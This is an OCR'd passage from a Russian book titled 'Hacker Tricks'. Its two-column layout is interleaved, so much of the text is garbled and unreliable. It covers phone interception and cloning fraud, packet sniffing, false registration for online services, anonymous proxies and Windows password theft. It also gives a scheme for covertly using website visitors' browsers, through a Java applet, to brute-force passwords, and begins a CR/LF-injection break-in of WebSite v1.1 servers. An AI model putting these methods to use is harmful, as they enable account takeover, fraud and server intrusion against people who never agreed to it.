радиотелефоны являются не излучающими или слабо излучающими ус Легче всего перехватываются неподвижные или стационарные со
тройствами и характеризуются отличными от сотовых телефонов услови товые телефоны, труднее — мобильные, так как перемещение абонента в
ями и порядком пользования. процессе разговора сопровождается снижением мощности сигнала и пе
реходом на другие частоты в случае передачи сигнала с одной базовой
Проблема защиты информации станции на другую.
Вы, наверное, не раз слышали рекламу компаний, предоставляю Более совершенны с точки зрения защиты информации цифровые
щих услуги сотовой связи: «Надежная связь по доступной цене!». Давай сотовые телефоны, передающие информацию в виде цифрового кода.
те проанализируем, действительно ли она так уж надежна. С технической
Хакерские трюки 255 256 Хакерские трюки

Однако используемый в них алгоритм шифрования Cellular Message Мошенничество


Encryption Algorithm (CMEA) может быть вскрыт опытным специали Мошенничество в сотовых системах связи, известное еще под на
стом в течение нескольких минут с помощью персонального компьюте званием «клонирование», основано на том, что абонент использует чу
ра. Что касается цифровых кодов, набираемых на клавиатуре цифрового жой идентификационный номер (а, следовательно, и счет) в корыстных
сотового телефона (телефонные номера, номера кредитных карточек или интересах. В связи с развитием быстродействующих цифровых сотовых
персональные идентификационные номера PIN), то они могут быть лег технологий способы мошенничества становятся все более изощренны
ко перехвачены с помощью того же цифрового сканнера. ми, но общая схема их такова: мошенники перехватывают с помощью
Не менее уязвимыми с точки зрения безопасности информации сканеров идентифицирующий сигнал чужого телефона, которым он от
являются беспроводные радиотелефоны. Они при работе используют две вечает на запрос базовой станции, выделяют из него идентификацион
радиочастоты: одну – для передачи сигнала от аппарата к трубке (на ней ные номера MIN и ESN и перепрограммируют этими номерами микро
прослушиваются оба абонента), другую – от трубки к аппарату (на ней чип своего телефона. В результате стоимость разговора с этого аппарата
прослушивается только абонент, говорящий в эту трубку). Наличие двух заносится базовой станцией на счет того абонента, у которого эти номе
частот еще больше расширяет возможности для перехвата. ра были украдены.

Перехват радиотелефона можно осуществить с помощью другого Например, в больших городах Запада, чаще всего в аэропортах, ра
радиотелефона, работающего на тех же частотах, радиоприемника или ботают мошенники, которые, клонировав ESNномер чьеголибо мо
сканнера, работающих в диапазоне 4650МГц. Дальность перехвата, в за бильного телефона, предоставляют за плату возможность другим людям
висимости от конкретных условий, составляет в среднем до 400 метров, а звонить с этого телефона в отдаленные страны за счет того, чей номер
при использовании дополнительной дипольной антенны диапазона выкрали.
4649 МГц — до 1,5 км. Кража номеров осуществляется, как правило, в деловых районах
Следует отметить, что такие часто рекламируемые возможности и в местах скопления большого количества людей: шоссе, дорожные
беспроводного телефона, как «цифровой код безопасности» (digital secu пробки, парки, аэропорты, — с помощью очень легкого, малогабаритно
rity code) и «снижение уровня помех» (interference reduction), нисколько го, автоматического оборудования. Выбрав удобное место и включив
не предотвращают возможность перехвата разговоров. Они только пре свою аппаратуру, мошенник может за короткий промежуток времени на
пятствуют несанкционированному использованию этого телефона и не полнить память своего устройства большим количеством номеров.
дают соседствующим радиотелефонам звонить одновременно. Сложнее Наиболее опасным устройством является так называемый сото
перехватить цифровые радиотелефоны, которые могут использовать при вый кэшбокс, представляющий собой комбинацию сканера, компьюте
работе от 10 до 30 частот с автоматической их сменой. Однако и их пере ра и сотового телефона. Он легко выявляет и запоминает номера MIN и
хват не представляет особой трудности при наличии радиосканера. ESN и автоматически перепрограммирует себя на них. Использовав пару
Такими же уязвимыми в отношении безопасности передаваемой MIN/ESN один раз, он стирает ее из памяти и выбирает другую. Такой
информации являются и пейджеры. В большинстве своем они использу аппарат делает выявление мошенничества практически невозможным.
ют протокол POSCAG, который практически не обеспечивает защиты от Несмотря на то, что эта аппаратура на Западе пока еще редка и дорога,
перехвата. Сообщения в пейджинговой системе связи могут перехваты она уже существует и представляет растущую опасность для пользовате
ваться радиоприемниками или сканерами, оборудованными устройства лей сотовой связи.
ми, способными декодировать коды ASCII, Baudot, CTCSS, POCSAG и
GOLAY. Существует также целый ряд программных средств, которые Выявление местоположения абонента
позволяют ПК в сочетании со сканнером автоматически захватывать ра Оставим в стороне такую очевидную возможность, как выявление
бочую частоту нужного пейджера или контролировать весь обмен в кон адреса абонента сотовой системы связи через компанию, предоставля
кретном канале пейджинговой связи. Эти программы предусматривают ющую ему эти услуги. Немногие знают, что наличие мобильного сотово
возможность перехвата до 5000 (!) пейджеров одновременно и хранение го телефона позволяет определить как текущее местоположение его вла
всей переданной на них информации. дельца, так и проследить его перемещения в прошлом.
Хакерские трюки 257 258 Хакерские трюки

Текущее положение может выявляться двумя способами. Первым только провайдеры связи (например, введение цифровых систем). Пого
из них является обычный метод триангуляции (пеленгования), опреде ворим о том, что можете сделать вы сами.
ляющий направление на работающий передатчик из нескольких (обыч
Для предотвращения перехвата информации:
но трех) точек и дающий засечку местоположения источника радиосиг
налов. Необходимая для этого аппаратура хорошо разработана, обладает ◆ используйте общепринятые меры по предупреждению
высокой точностью и вполне доступна. раскрытия информации: избегайте или сведите
к минимуму передачу конфиденциальной информации,
Второй метод — через компьютер предоставляющей связь компа
такой как номера кредитных карточек, финансовые
нии, который постоянно регистрирует, где находится тот или иной або
вопросы, пароли. Прибегайте в этих целях к более
нент в данный момент времени даже в том случае, когда он не ведет ни
надежным проводным телефонам, убедившись, однако,
каких разговоров (по идентифицирующим служебным сигналам,
что ваш собеседник не использует в этот момент
автоматически передаваемым телефоном на базовую станцию, о которых
радиотелефон. Не используйте сотовые или беспроводные
мы говорили выше). Точность определения местонахождения абонента в
телефоны для ведения деловых разговоров;
этом случае зависит от целого ряда факторов: топографии местности, на
личия помех и переотражений от зданий, положения базовых станций, ◆ помните, что труднее перехватить разговор, который
количества работающих в настоящий момент телефонов в данной соте. ведется с движущегося автомобиля, т.к. расстояние между
Большое значение имеет и размер соты, в которой находится абонент, ним и перехватывающей аппаратурой (если та находится
поэтому точность определения его положения в городе гораздо выше, не в автомобиле) увеличивается и сигнал ослабевает.
чем в сельской местности (размер соты в городе составляет около 1 км2 Кроме того, при этом ваш сигнал переводится с одной
против 5070 км2 на открытой местности) и, по имеющимся данным, со базовой станции на другую с одновременной сменой
ставляет несколько сот метров. рабочей частоты, что не позволяет перехватить весь
разговор целиком, поскольку для нахождения этой новой
Наконец, анализ данных о сеансах связи абонента с различными частоты требуется время;
базовыми станциями (через какую и на какую базовую станцию переда
◆ используйте системы связи, в которых данные передаются
вался вызов, дата вызова и т.п.) позволяет восстановить все перемещения
абонента в прошлом. Такие данные автоматически регистрируются в с большой скоростью при частой автоматической смене
компьютерах компаний, предоставляющих услуги сотовой связи, по частот в течение разговора;
скольку оплата этих услуг основана на длительности использования сис ◆ используйте, при возможности, цифровые сотовые
темы связи. В зависимости от фирмы, услугами которой пользуется або телефоны;
нент, эти данные могут храниться от 60 дней до 7 лет.
◆ отключите полностью свой сотовый телефон, если не
Такой метод восстановления картины перемещений абонента хотите, чтобы ваше местоположение стало комуто
очень широко применяется полицией многих западных стран при рас известно.
следованиях, поскольку дает возможность восстановить с точностью до
минут, где был подозреваемый, с кем встречался (если у второго тоже В случае использования беспроводного радиотелефона:
был сотовый телефон), где и как долго происходила встреча или был ли ◆ при покупке выясните, какую защиту он предусматривает;
подозреваемый поблизости от места преступления в момент его совер
шения. ◆ используйте радиотелефоны с автоматической сменой
рабочих частот типа «spread spectrum» или цифровые,
работающие на частотах порядка 900 МГц;
Некоторые рекомендации
Проблема безопасности при использовании современных беспро ◆ при возможности, используйте радиотелефоны со
водных средств связи достаточно серьезна, но, используя здравый смысл встроенным чипом для шифрования сигнала.
и известные приемы противодействия, ее можно, в той или иной степе
ни, решить. Не будем затрагивать тех мер, которые могут предпринять
Хакерские трюки 259 260 Хакерские трюки

Для предотвращения мошенничества: узел может получать информацию, которая предназначается не ему. «От
лов» этой информации в сети и называется sniff'ингом.
◆ узнайте у фирмыпроизводителя, какие средства против
мошенничества интегрированы в ваш аппарат; Наиболее простой способ соединения компьютеров — ethernet.
Обмен данными по протоколу Ethernet подразумевает посылку пакетов
◆ держите документы с ESNномером вашего телефона
всем абонентам сети. Заголовок пакета содержит адрес узлаприемника.
в надежном месте;
Предполагается, что только узел с соответствующим адресом мо
◆ ежемесячно и тщательно проверяйте счета на пользование
жет принять пакет. Однако через каждый узел проходят все пакеты, не
сотовой связью;
взирая на их заголовки.
◆ в случае кражи или пропажи вашего сотового телефона
Так как в обычной сети информация о паролях передается по
сразу предупредите фирму, предоставляющую вам услуги
ethernet в виде текста — нет ничего сложного, вытягивая и анализируя
сотовой связи;
пакеты, проходящие по сети, получить информацию обо всех компью
◆ держите телефон отключенным до того момента, пока вы терах сети.
не решили им воспользоваться. Этот способ самый легкий
и дешевый, но следует помнить, что для опытного Область применения сниффинга
специалиста достаточно одного вашего выхода на связь, Sniff'инг — один из наиболее популярных видов атаки, использу
чтобы выявить MIN/ESN номера вашего аппарата; емых хакерами. Программный Sniff'ер называемый Esniff.c — очень ма
◆ регулярно меняйте через компанию, предоставляющую ленький, разработанный для работы на SunOS, занимался тем, что вы
вам услуги сотовой связи, MINномер вашего аппарата. лавливал первые 300 байт telnet, ftp и rloginсессий. Он был опубликован
Этот способ несколько сложнее предыдущего и требует в «Phrack» — одном из наиболее широко доступных подпольных хакер
времени; ских журналов. Вы его можете найти на многих FTPсайтах. Например,
на ftp://coombs.anu.edu.au/pub/net/log.
◆ попросите компанию, предоставляющую вам услуги
сотовой связи, установить для вашего телефона
дополнительный 4х значный PINкод, набираемый перед Глава 25.
разговором. Этот код затрудняет деятельность
мошенников, так как они обычно перехватывают только Общие принципы работы OnBLine услуг
MIN и ESNномера, но, к сожалению, небольшая
До последнего времени работа в TCP/IP и X.25 сетях требовала не
модификация аппаратуры перехвата позволяет выявить
которых профессиональных знаний и навыков, не всегда доступных для
и его;
обычных пользователей компьютеров. Вероятно, поэтому были созданы
◆ наиболее эффективным методом противодействия сервисы, для работы с которыми не требуется профессиональных зна
является шифрование MIN/ESN номера (вместе с ний. Пользователь, заплатив некоторую сумму денег, получает доступ к
голосовым сигналом) по случайному закону. Но этот метод необходимым ему информационным ресурсам с помощью некой про
дорог и пока малодоступен. граммыоболочки или просто в диалоговом режиме.
Доступ к разнообразным OnLine услугам осуществляется в том
Глава 24. числе и по сетям пакетной коммутации (X.25). Поскольку сети x.25 ши
роко распространены и общедоступны, то общение с OnLineсервисами
Сниффинг не представляет никакого труда. В рекламных целях продавцы этих услуг
помещают программы, необходимые для работы в качестве бонуса к мо
В отличие от телефонной сети, компьютерные сети используют демам, а также предоставляют несколько условнобесплатных часов ра
общие коммуникационные каналы, т.к. достаточно дорого тянуть петлю боты с их сервисом.
до каждого узла. Совместное использование каналов подразумевает, что
Хакерские трюки 261 262 Хакерские трюки

Большинство OnLine сервисов предоставляет свои услуги на ос правляясь по ссылке, помещенной на странице, которую вы просматри
нове данных, полученных от работающих с ними пользователей. Так как ваете с помощью Анонимайзера, вы попадаете на очередную страницу
часто при работе через X.25 местоположение пользователя не проверяет снова через Анонимайзер, так что процесс автоматизирован, и набирать
ся, то существует возможность указать при регистрации некорректные новый URL снова не нужно. Были времена, когда Анонимайзер отправ
сведения о пользователе и о его финансовых возможностях. На этом лялся по указанному адресу немедленно, теперь же для тех, кто пользует
принципе построены альтернативные методы оплаты за OnLine ся этой службой бесплатно, существует 30секундный период ожидания.
услуги... Кроме того, Анонимайзер позволял использовать как HTTP, так и
FTPресурсами. Теперь же использовать FTP могут лишь зарегистриро
ванные пользователи.
Глава 26.
При использовании этой службы след в logфайлах оставляете не
По WWW без следов вы, а Анонимайзер, что исключает возможность сбора всей той инфор
мации, о которой было написано выше. Никакие cookies до вас не дохо
Путешествуя по Internet, мы не часто задумываемся о том, что ос дят. Некоторые сайты, например, Web chat rooms и отдельные почтовые
тавляем следы своих посещений каждый раз, когда заходим на какойли службы, через него недоступны, что, очевидно, объясняется желанием их
бо сайт. Пожалуй, об этом и не стоило бы беспокоиться, если бы не был владельцев следить за посетителями. Анонимайзер также не работает
так велик тот объем информации, который потенциально могут добыть о с безопасными узлами, использующими SSLпротокол.
нас владельцы сайта. Стандартные logфайлы, хитроумные скрипты и
прочие ухищрения любопытных владельцев способны узнать о вас мно Анонимайзер имеет еще две приятные особенности. Вопервых,
гое: тип компьютера и операционной системы, страну пребывания, на некоторые сайты WWW бывают недоступны из одного места, но доступ
звание и адрес провайдера и, зачастую, даже адрес электронной почты ны из другого. Недавно автор в течении 20 минут безуспешно пытался
и ваше имя. попасть на один сайт в Австралии, находясь в России. Использование
Анонимайзера немедленно проблему решило, и долгожданная страница
Существует много причин, по которым пользователь может не за быстро загрузилась.
хотеть оставлять следы своего пребывания. Тут и нежелание раскрыть
свой адрес электронной почты, чтобы не стать жертвой спама, и необхо Вовторых, некоторые сайты выдают вам информацию в зависи
димость получить информацию с сайта, который варьирует ответ в зави мости от того, откуда поступает ваш запрос. Пример из жизни. Находясь
симости от страны, из которой отправлен запрос. Или, например, вы ча на сайте Encyclopaedia Britannica, автор захотел выяснить цены на про
стенько заходите на Webузел ваших конкурентов и хотите делать это дукцию этой фирмы. Нажатие на кнопку Order Information привело его на
анонимно. страницу, содержащую список дилеров по всему миру, включая и мос
ковского дилера — «Мир Знаний». Заход на ту же страницу через Анони
Некто, поддерживающий работу сайта своей юридической фир майзер дал совершенно другой результат: на экране появился
мы, регулярно составляет график его посещения самыми серьезными прайслист. Сравнение показало, что в Москве Encyclopaedia Britannica
конкурентами его фирмы, которые проводят там довольно много време CD'97 продается во много раз дороже, чем в Штатах. Мораль: пользуй
ни, что, вкупе с ситуацией на рынке юридических услуг, дает богатую ин тесь Анонимайзером и не покупайте ничего в «Мире Знаний».
формацию к размышлению.
Кроме того, существуют такие бяки, как cookies, да и дыры в безо Служба iproxy
пасности в MSIE обнаруживаются все новые и новые... В общем, не по Эта служба, располагающаяся по адресу www.iproxy.com, работает
слать ли нам в путешествие по WWW когонибудь еще? Идея трезвая подобно Анонимайзеру. От пользователя требуется заполнить неболь
и достаточно легко выполнимая, причем несколькими способами. шую анкету, указать свой электронный адрес, и после получения под
тверждения по электронной почте и ответа на это подтверждение можно
Анонимайзер отправляться в путь, причем без 30секундных задержек, как в случае с
Осуществить подобный анонимный серфинг позволяет служба Анонимайзером. Обмен подтверждениями несколько настораживает,
Anonymizer. Зайдите на их сайт, наберите нужный URL, и вперед! От обнаруживая то, что владельцам службы на самом деле на privacy напле
Хакерские трюки 263 264 Хакерские трюки

вать, но, поскольку получить анонимный адрес — не проблема, а работа IPадресе, как, впрочем и об IPадресе проксисервера, который вы ис
ет iproxy быстрее Анонимайзера, представляется разумным использовать пользуете. Если же сообщение гласит: Proxy server is not detected — все
эту службу. Единственное «но» — сервер иногда бывает в «дауне», при в порядке!
чем это может продолжаться целую неделю.
В заключение еще несколько соображений касательно использо
вания проксисерверов. Работа через далеко расположенный прокси
ПроксиBсерверы снижает скорость передачи данных и время ожидания. Прокси, настро
Анонимизировать путешествие по сети можно также с помощью енный на HTTPпротокол, не анонимизирует работу с SSLузлами, ра
проксисервера. Проксисервер работает, по сути, как Анонимайзер, т.е. ботающими по протоколу HTTPS (это для вас, любители расплатиться
документ с сайта «забирает» он, а не вы. Правда, есть некоторые немало фиктивной кредитной карточкой).
важные отличия, а именно:
◆ от cookies вас прокси не избавляет (избавьте от них себя
сами, сделайте файл cookies.txt readonly, и все дела!);
Глава 27.
◆ прокси сервер работает как с HTTP, так и с FTP, что дает
Атака
возможность анонимизировать посещение не только Вопервых, пусть название главы вас не пугает... или пугает, но не
Webсайтов, но и FTPархивов. Вообще говоря, очень сильно. Речь идет всего лишь о том, что когда компьютер подклю
проксисерверы поддерживают и другие протоколы, но чен к сети, он становится ее частью. К сожалению, большинство пользо
для анонимного путешествия по сети они мало значимы; вателей забывает об этой совершенно тривиальной истине. Меж тем за
◆ IPадрес вашего родного проксисервера, т.е. того, бывать о ней не стоит, ибо несколько практических выводов, которые из
пользование которым обеспечивает ваш провайдер, все нее следуют, таковы:
равно отражает имя вашего домена или, по крайней мере, ◆ Вы имеете доступ к миллионам компьютеров Internet,
его примерное географическое положение. а миллионы компьютеров Internet зачастую имеют доступ
Последний пункт приводит нас к следующему выводу: если вам к вашему компьютеру.
очень важно остаться анонимным при работе с какимнибудь сайтом или ◆ Загружая программы из сети, вы можете заполучить на
при чтении и отправке почты с использованием обозревателя, исполь свой диск программутроянца или вирус.
зуйте не свой проксисервер, а чужой.
◆ Любой компьютер в сети подвержен различным
Большинство проксисерверов ограничивают доступ на основа техническим атакам, которые могут привести к его
нии IPадреса, с которого происходит обращение. Иными словами, если зависанию, потере данных и прочим прелестям.
вы пользуетесь провайдером Demos, то проксисервер Glasnet вас к себе
попросту не пустит. Но, к счастью, в сети всегда можно найти «добрый» Ну, а теперь рассмотрим все это подробнее, спокойно и без исте
прокси, владельцы которого либо открыто заявляют о его доступности рик. Разговор пойдет о компьютерах, работающих под Windows 95/
для всех желающих, либо прокси, который по той или иной причине не 98/NT. Знатоки (опытные пользователи, гуру, хакеры) могут удалиться,
ограничивает доступ только своим доменам, о чем широкой публике не начинающие (неопытные пользователи, женщины, дети, военные) могут
известно. остаться.

Далеко не все проксисерверы являются полностью анонимными.


Доступ к компьютеру
Некоторые из них позволяют администратору сайта, который вы посе
щаете с использованием прокси, при желании определить IPадрес, с ко Примерно к четверти или трети всех компьютеров под Windows
торого происходит обращение к прокси, т.е. ваш реальный IPадрес. в сети можно получить доступ за пару минут. Этот печальный факт объ
ясняется тем, что сами пользователи (или глупые системные админи
Если вы получите сообщение Proxy server is detected! — ваш прокси страторы) конфигурирую компьютер таким образом, что его папки или
имеет «дыру», и вам будет предоставлена информация о вашем реальном целые диски становятся доступными для чтения и записи с удаленных
Хакерские трюки 265 266 Хакерские трюки

компьютеров. Формально это называется File and Print Sharing. Если вы пароли. Имейте также в виду, что существует возможность «взобраться
щелкнете по иконке Network в Control Panel, то увидите эту кнопку. И ес вверх по дереву», то есть если на диске C: есть папка SomeStuff с откры
ли флажок I want to be able to give others access to my files включен, то сто тым доступом, то до корня C: тоже могут добраться. Ну, а вообще
ит задуматься. Windows 95/98 — операционная система слабо защищенная, и никакой
гарантии безопасности дать, увы, не может.
Почему пользователи дают доступ к своим файлам — наверное,
понятно. Самая распространенная ситуация — в доме два компьютера, В качестве развлекательной программы можно установить
соединенных в маленькую сеть. Скрывать друг от друга нечего, поэтому NetWatcherPro (245K, freeware), которая включает сирену каждый раз,
дается свободный доступ сразу ко всему. Или человеку нужно переписать когда ктото ломится в компьютер. При этом показывается IPадрес ата
данные с десктопа на ноутбук. Или в небольшой фирме стоит локальная кующего и те файлы и папки, которые визитер просматривает. Очень по
сеть. Или вы просто любите на разные незнакомые кнопки нажимать... знавательно! Если доступ хотя бы к одной папке открыт, сирену будете
Ну, а где доступ с соседнего компьютера, там и доступ из Internet. слышать, как минимум, раз в час.
Остановимся на том, к чему могут привести путешествия других
людей по вашим дискам и как этого избежать. Вопервых, у вас могут ук А кони все скачут и скачут...
расть приватную информацию, что крайне неприятно. Файлы могут так Какие кони? Троянские! Троянцами называют программы, кото
же вообще стереть, что, пожалуй, еще неприятнее. рые, на первый взгляд, выполняют некие полезные функции, но на са
мом деле либо разрушают систему, либо отдают контроль в руки другого
Но, как правило, крадут другое, особенно если крадут русские: па человека. Пород троянцев множество: некоторые из них вообще не вы
роли. Особенности национального менталитета («Халява!») приводят к полняют полезных функций, а просто скрытно «живут» на диске и дела
тому, что масса малолетних бездельников только и занимается тем, что ют разные гадости, а некоторые, наоборот, совершенно не скрываются
крадет пароли доступа к Internet с чужих компьютеров, благо устройство от пользователя, при этом производя некоторые манипуляции, о кото
Windows 95/98 и большинства программ к этому располагает. рых никто не подозревает (или не должен подозревать). Пример первой
Пароли хранятся просто по всему диску, обычно в слабозашифро породы — всем известный Back Orifice, дающий врагу почти полный
ванном виде. DialUpпароли — в файлах .PWL, почтовые пароли к контроль над вашим компьютером и для вас невидимый. Пример второй
Outlook — в реестре, к Eudora — в eudora.ini, к FTPсайтам (включаю ва породы — MS Internet Explorer, который при соединении с сайтом
шу персональную страничку) — в разных файлах FTPклиентов, пароли MicroSoft развивает совершенно бешеную активность по пересылке дан
Windows NT — в файлах SAM, и т.д., и т.п. Появилось множество про ных с компьютера на сервер, объем которых явно превосходит простой
грамм, которые способны эти пароли извлекать, и целые коллекции та запрос HTML документа.
ких программ, например на сайте Russian Password Crackers есть несколь Попасть троянец на компьютер может двумя основными способа
ко программ для работы с .PWLфайлами. Так что пусть звездочки в окне ми: либо вам его «положат» на диск, либо вы его сами себе скачаете.
ввода пароля вас не обнадеживают, а вот свободный доступ к файлам
своего компьютера лучше ограничить. Множество людей получают подобные программы себе на диск
каждый день. Не стоит скачивать программы с неизвестных сайтов, под
Как это сделать? Windows 95/98 и Windows NT поразному обеспе давшись на обещания авторов дать вам «сУпЕр КрУТУю МочИлкУ
чивают удаленный доступ. В первом случае, как правило, используется против /\аммер0в» или классный вьюер для бесплатной порнухи. Не на
shareaccess control (доступ на основании только пароля), во втором — до также открывать attachments, пришедшие с почтой от незнакомых
useraccess control (на основании пары имяпароль). людей.
Для пользователей Windows 95/98 самое простое решение — от В ваше отсутствие какаянибудь добрая душа может просто пере
ключить File and Print Sharing, если он вам уже не нужен. Можно также писать троянца на компьютер с дискеты (не оставляйте компьютеры без
убрать привязку File and Print Sharing к протоколу TCP/IP (Control присмотра!). Кроме того, троянца могут положить из сети прямо на диск,
Panel ➪ Network ➪ TCP/IP ➪ Properties ➪ Bindings), что эффективно за пока вы, ничего не подозревая, мило беседуете в IRC или гуляете по сай
блокирует доступ к общим ресурсам из Internet. Если же доступ нужен, то ту Netscape.
ставьте пароли на общие папки и диски, причем, желательно, сложные
Хакерские трюки 267 268 Хакерские трюки

Некоторых, особенно распространенных троянцев способны об рерасход. В противном случае робот угрожает произвольно стереть все,
наруживать антивирусные программы, например, AntiViral Toolkit Pro. что выходит, скажем, за 1 МБ.
Имейте в виду, что всех троянцев ни одна программа обнаружить не мо
Что делать? Сокращать — жалко, платить — накладно (обычно это
жет, и можно спокойно рассмеяться в лицо тому производителю софта,
существенно больше, чем вы платите за доступ). Тутто и приходит вре
который пытается убедить вас в обратном.
мя обратиться к серверам, обеспечивающим так называемый бесплат
ный хостинг webстраниц.
Технические атаки
На самом деле, термин «Технические атаки» не очень точен. Все На первое место претендует Virtual Avenue. Достоинства — боль
атаки, по сути, технические. Здесь имеются в виду атаки из сети, направ шой (хотя и не максимальный, но у многих ли сайты превышают 20 МБ)
ленные на технический вывод из строя компьютера, как правило, на ко объем, как бы настоящий домен третьего уровня, быстрая и (почти) ус
роткое время, нужное для перезагрузки. Поанглийски такие атаки на тойчивая работа. Реклама — не очень навязчива, хотя можно бы и попро
зываются Denial of service (DOS) attacks. К privacy это прямого отношения ще. Но бесплатно всегда приходится выбирать между плохим и очень
не имеет, но раз уж зашел разговор об атаках, то упомянем и о них. плохим. Впрочем, за деньги нередко тоже.

Симптомы «болезни» таковы: неожиданно компьютер, подклю Второе место за XOOM. Одиннадцати МБ в большинстве случаев
ченный к сети, зависает, либо появляется голубой «экран смерти» — со хватает для среднего сайта. Реклама — предельно ненавязчивая. Про
общение об ошибке. Лечение простое — AltCtrlDel. грамм для автоматической замены и вставки можно найти в Сети сколь
ко угодно (например, http://freeware.ru или http://listsoft.ru). Не всегда
Инструментарий для таких атак водится в сети в большом количе стабильно? — Так ведь халява, сэр. Этим грешат и коммерческие провай
стве, не меньше и недоумков, которые получают наслаждение от того, деры.
что заваливают чейто компьютер. Самый известный представитель
славного семейства — Winnuke, уложивший в свое время миллионы ком Третье место поделили между собой Webjump и SpacePort. В поль
пьютеров под управлением Windows. Менее известны bonk, smurf, ping of зу первого — 25 МБ и домен третьего уровня. Против — не очень изящ
death... нет им числа. Почти от всех подобных атак можно защититься, ное решение рекламной проблемы и не очень стабильная работа. За
регулярно скачивая патчи с сайта MicroSoft. второй — неограниченный (если, конечно, его действительно можно по
лучить) объем и быстрая и стабильная работа. Против — popup и не луч
шая система адресации. Но в целом и тот, и другой — вполне приемлемое
Глава 28. решение.

В поисках халявного WebBхостинга Прочие имеющиеся — рекомендовать трудно. Cyber Sities накла
дывает слишком большие ограничения на содержание. NeoCerf прекра
Итак, вы разработали дизайн своего сайта и насытили его тил оказывать бесплатные услуги. У RoyaltyStudios уж очень сложная ре
содержанием. Следующий вопрос — где все это размещать? На первый гистрация.
взгляд, ответ очевиден: подавляющее большинство провайдеров предо
ставляет своим клиентам некий бесплатный (вернее, уже оплаченный
абонентским или повременным тарифом) объем дискового простран Глава 29.
ства. Обычно он колеблется от 256 КБ до 1 МБ. Для начала здесь и разме Некоторые аспекты атаки по словарю
стимся. Ведь мегабайт — это много, особенно если графика оптимизиро
вана, тексты выверены и отредактированы. Всем известна старая атака по словарю. А также ее дополнение
Однако аппетит приходит во время еды. Появляются все новые (имеется в виду атака с нескольких машин). В общем случае это выглядит
и новые интересные ссылки, растет объем графики. А затем хочется по так:
пробовать и RealVideo, и дать звуковое сопровождение. И в один не ◆ Клиент (Crkclient) обращается к серверу (Crkserver)
очень прекрасный день вы получаете уведомление, что бесплатный ли за очередной порцией паролей.
мит исчерпан, и предлагается либо сократить объем, либо платить за пе
Хакерские трюки 269 270 Хакерские трюки

◆ Crkserver помечает эту порцию как находящуюся в работе. удаляем из TMP эту порцию. Когда одновременно работают несколько
клиентов, может возникнуть проблема. Но «свою» порцию можно найти,
◆ Crkclient пробует все пароли из этой порции. Если один
используя команду:
из них подошел, отправляется сообщение на Crkserver
и на этом заканчиваем перебор. Если нет, то Crkclient POP3 TOP msg n
отсылает на Crkserver сообщение об окончании перебора Если Crkclient не доработал изза ошибки, то эта порция не поте
и берет новую порцию. Если соединение разрывается по ряется и ее можно переместить из TMP в WordList. Делать это придется
ошибке или Crkclient завис, то он, естественно, ничего не или вручную (что нежелательно), или возложить эту функцию на
отправляет. Crkclient. Тут возникает еще одна проблема, как отличить в TMP пор
ции, которые обрабатываются сейчас, от тех, которые надо переместить
◆ Crkserver получает сообщение об окончании перебора,
в WordList. Для этого нужно анализировать дату отправки порции и теку
тогда эта порция удаляется как уже обработанная. Или по
щее время. Если разница порядка часа, то эту порцию перемещаем
timeout Crkserver помечает эту порцию как
в WordList.
необработанную.
Скорость перебора зависит от качества связи с сервером и от коли
Рассмотрим, например, chat.ru (сервер). Он предоставляет следу
чества посетителей Webстранички.
ющие виды сервиса:
Теперь немного о применении вышеописанного. На первый
◆ Размещение страниц.
взгляд, может показаться, что это работает только для халявных серве
◆ Почту (как POP3, так и SMTP). ров, но это не так. Это работает и для серверов провайдеров, если только
HTTP, POP3 и SMTP обслуживаются одной машиной.
Рассмотрим, как можно организовать перебор пароля на любой
сервис данного сервера. С некоторыми изменениями этот алгоритм можно использовать
для серверов, которые предоставляют только HTTP. Правда, для этого
Crkclient можно написать в виде апплета на яве и положить ап
сервер должен поддерживать методы DELETE и PUT, ну, и GET, есте
плет на сервер. Это делается для того, чтобы перебором паролей занима
ственно.
лись посетители Webстраницы (даже не подозревая об этом). В логах
сервера перебор будет разнесен во времени и пространстве, т.е. попытки
будут происходить через неравные промежутки времени и из разных Глава 30.
мест. И к тому же невозможно будет определить, кто же в действительно
сти подбирает пароль. Взлом WWWBсерверов
Этот апплет может коннектиться только с тем сервером, откуда он Взлом осуществляется через стандартные примеры, идущие в по
был загружен (chat.ru). Нам это и нужно. ставке с webсервером, а так как люди еще не сильно задумываются о за
Проблема в следующем: как разместить на сервере Crkserver? щите своего сайта, считая это не очень большой проблемой, и часто ос
Очевидно, что это не получится. Покажем, как можно обойтись без тавляют все на Авось, то просто ставят WebSite, ничего не
Crkserver'а... предпринимая для его настройки и обеспечения достаточной защиты.
Все имеющиеся в сети сайты под управлением WebSite v1.1 имеют ла
Регистрируем два аккаунта (WordList и TMP) на сервере, размеща зейку, обеспечивающую почти полный доступ к машине, на которой
ем HTMLстраничку с апплетом Crkclient, а словарь кладем в почтовый они находятся.
ящик (WordList) на сервере. Словарь необходимо разбить на порции, на
пример по 20 паролей. При этом каждая порция лежит отдельным пись Как у нас ставят WebSite? Просто давят кнопку Install, и потом
мом. Crkclient при запуске обращается на WordList по протоколу POP3 и прога говорит, что webсервер поставлен. Люди находят, где находится
берет первое же письмо (удаляя его с WordList, но отсылая его по SMTP корень webсайта, закачивают туда свою информацию, и все так и живет,
на TMP). Далее Crkclient начинает перебор. Если пароль успешно най пока не наступает время «дельта Тэ».
ден, отправляем его по SMTP себе. Если перебор завершился впустую,
Хакерские трюки 271 272 Хакерские трюки

Что же появляется в таком состоянии? По умолчанию отображает Мы можем засылать специальные непечатные символы типа CR
ся (мапится, mapping) куча ненужных для работы сервера каталогов (код 0dh), LF (код 0ah). Появление таких символов в командной строке
/java/, /publish/, /wsdocs/, /cgidos/, /cgiwin/. Конечно, в какойто мо приведет к переводу строки в скрипте и вполне возможно, что следую
мент времени они, возможно, и понадобятся, но вначале они просто не щей строчкой вдруг ни с того ни с сего окажется наш файл, лежащий в
нужны. Это с одной стороны, с другой стороны создателям WebSite со каталоге /uploads/.
всех сторон нужно показать возможности этого сервера, что они с успе
Рассмотрим, как запускаются .bat скрипты на webсервере на ос
хом и делают, открывая потенциальные дырки в защите webсайта и за
нове WebSite.
полняя эти каталоги разнообразными примерами, так радующими глаз
потенциального взломщика. При обработке batскрипта во временном каталоге
WebSite/cgitemp/ создаются 4 файла: xxxxx.acc, xxxxx.bat, xxxxx.inp,
Поставим на машину WebSite v1.1f в дефолтовой конфигурации
xxxxx.out. В глаза сразу бросается файл xxxxx.bat. Так, при удаленном
и приступим к исследованию его на дырки.
запуске /cgidos/args.bat получается такой файл xxxxx.bat:
Задача перед нами стоит такая: закачать на ломаемый сервер ка @ECHO OFF&&TITLE WebSite CGI
